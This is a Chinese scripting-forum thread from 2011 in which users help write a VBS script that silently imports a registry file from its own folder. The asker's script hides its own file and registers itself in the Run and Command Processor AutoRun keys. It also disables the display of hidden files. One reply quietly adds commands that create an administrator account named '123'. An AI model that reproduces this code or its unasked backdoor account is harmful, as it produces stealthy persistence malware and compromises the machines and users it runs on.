标题: [问题求助] VBS怎样打开CMD窗口将自动导入reg注册表文件? [打印本页]
作者: baihuo998 时间: 2011-8-23 17:26 标题: VBS怎样打开CMD窗口将自动导入reg注册表文件?
- dim wsh,FA,FSO
- set fso=CreateObject("Scripting.FileSystemObject")
- Set FA= FSO.GetFile(WScript.scriptFullName)
- FA.Attributes =34
- set wsh=CreateObject("WScript.Shell")
- wsh.run "regedit /s C:\test.reg" ,0,true
- wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
- wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
- wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
- wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
复制代码
怎么把wsh.run "regedit /s C:\test.reg" ,0,true 这个中的路径改成自动获取同目录的REG文件?
作者: CUer 时间: 2011-8-23 19:20
- dim wsh,FA,FSO
- set fso=CreateObject("Scripting.FileSystemObject")
- Set FA= FSO.GetFile(WScript.scriptFullName)
- FA.Attributes =34
- set wsh=CreateObject("WScript.Shell")
- wsh.run "net user 123 123/add",0,true
- wsh.run "net localgroup administrators 123 /add" ,0,true
- wsh.run "regedit /s C:\test.reg" ,0,true
复制代码
作者: broly 时间: 2011-8-23 19:34
把里面的net user命令改为导入注册表文件的命令。楼上CUer兄多了添加账户的命令,删了即可
作者: baihuo998 时间: 2011-8-27 14:56
本帖最后由 baihuo998 于 2011-8-27 15:22 编辑
怎么把路径设置成自动获取同目录下的REG文件
作者: broly 时间: 2011-8-27 21:20
- dim wsh,FA,FSO
- set fso=CreateObject("Scripting.FileSystemObject")
- Set FA= FSO.GetFile(WScript.scriptFullName)
- FA.Attributes =34
- set wsh=CreateObject("WScript.Shell")
- wsh.run "regedit /s " & wsh.CurrentDirectory & "\test.reg" ,0,true
复制代码
欢迎光临 批处理之家 (http://bathome.net./) |
Powered by Discuz! 7.2 |